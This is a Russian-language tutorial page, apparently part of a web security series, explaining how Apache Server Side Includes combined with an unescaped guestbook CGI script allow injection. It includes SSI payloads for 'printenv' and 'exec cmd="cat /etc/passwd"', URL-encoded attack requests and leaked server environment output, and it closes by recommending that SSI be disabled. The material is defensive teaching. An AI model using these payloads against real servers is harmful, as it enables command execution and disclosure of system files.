Конфигурация Apache с "SSI (Server Side Include)"
Server Side Include - вставки на стороне сервера - одна из возможностей веб-сервера. Она позволяет вставлять инструкции в веб-страницы, такие как включение в страницу необработанного файла или выполнение команды (оболочки или CGI скрипта).
В файле конфигурации Apache httpd.conf инструкция "AddHandler server-parsed .shtml " включает этот механизм. Часто, чтобы убрать различие между .html и .shtml , в этой инструкции используют расширение .html . Естественно, это замедляет работу сервера... Работа механизма контролируется на уровне директорий при помощи инструкций:
Options Includes активизирует все SSI ;
OptionsIncludesNoExec запрещает использование exec cmd и exec cgi .
В присоединенном к этому документу скрипте guestbook.cgi , текст, предоставленный пользователем, включается в HTML файл без замены символов '<' и ' >' на HTML код < и >. Любознательный человек может передать одну из следующих инструкций:
<!--#printenv --> (обратите внимение на пробел после printenv )
<!--#exec cmd="cat /etc/passwd"-->
При помощи первой,
guestbook.cgi?email=pappy&texte=%3c%21--%23printenv%20--%3e
вы получите несколько строк с информацией о системе:
DOCUMENT_ROOT=/home/web/sites/www8080
HTTP_ACCEPT=image/gif, image/jpeg, image/pjpeg, image/png, */*
HTTP_ACCEPT_CHARSET=iso-8859-1,*,utf-8
HTTP_ACCEPT_ENCODING=gzip
HTTP_ACCEPT_LANGUAGE=en, fr
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=www.esiea.fr:8080
HTTP_PRAGMA=no-cache
HTTP_REFERER=http://www.esiea.fr:8080/~grenier/cgi/guestbook.cgi?
email=&texte=%3C%21--%23include+file%3D%22guestbook.cgi%22--%3E
HTTP_USER_AGENT=Mozilla/4.76 [fr] (X11; U; Linux 2.2.16 i686)
PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin
REMOTE_ADDR=194.57.201.103
REMOTE_HOST=nef.esiea.fr
REMOTE_PORT=3672
SCRIPT_FILENAME=/mnt/c/nef/grenier/public_html/cgi/guestbook.html
SERVER_ADDR=194.57.201.103
SERVER_ADMIN=master8080@nef.esiea.fr
SERVER_NAME=www.esiea.fr
SERVER_PORT=8080
SERVER_SIGNATURE=<ADDRESS>Apache/1.3.14 Server www.esiea.fr Port 8080</ADDRESS>
SERVER_SOFTWARE=Apache/1.3.14 (Unix) (Red-Hat/Linux) PHP/3.0.18
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.0
REQUEST_METHOD=GET
QUERY_STRING=
REQUEST_URI=/~grenier/cgi/guestbook.html
SCRIPT_NAME=/~grenier/cgi/guestbook.html
DATE_LOCAL=Tuesday, 27-Feb-2001 15:33:56 CET
DATE_GMT=Tuesday, 27-Feb-2001 14:33:56 GMT
LAST_MODIFIED=Tuesday, 27-Feb-2001 15:28:05 CET
DOCUMENT_URI=/~grenier/cgi/guestbook.shtml
DOCUMENT_PATH_INFO=
USER_NAME=grenier
DOCUMENT_NAME=guestbook.shtml
Инструкция exec предоставляет вам почти что эквивалент shell:
guestbook.cgi?email=ppy&texte=%3c%21--%23exec%20cmd="cat%20/etc/passwd"%20--%3e
Не используйте "<!--#include file="/etc/passwd"--> ", путь должен задаваться относительно директории, где расположен HTML файл и не должен содержать ".. ". Файл error_log Apache будет содержать сообщение о попытке доступа к запрещенному файлу. А пользователь сможет увидеть сообщение [an error occurred while processing this directive(при обработке инструкции возникла ошибка)] на HTML странице.
SSI редко бывают нужны, поэтому их лучше отключить на сервере. Причина рассмотренной проблемы - комбинация неправильного скрипта guestbook и SSI.
[ Назад ]
[ Содержание ]
[ Вперед ]
Если Вы не нашли что искали, то рекомендую воспользоваться поиском по сайту:
|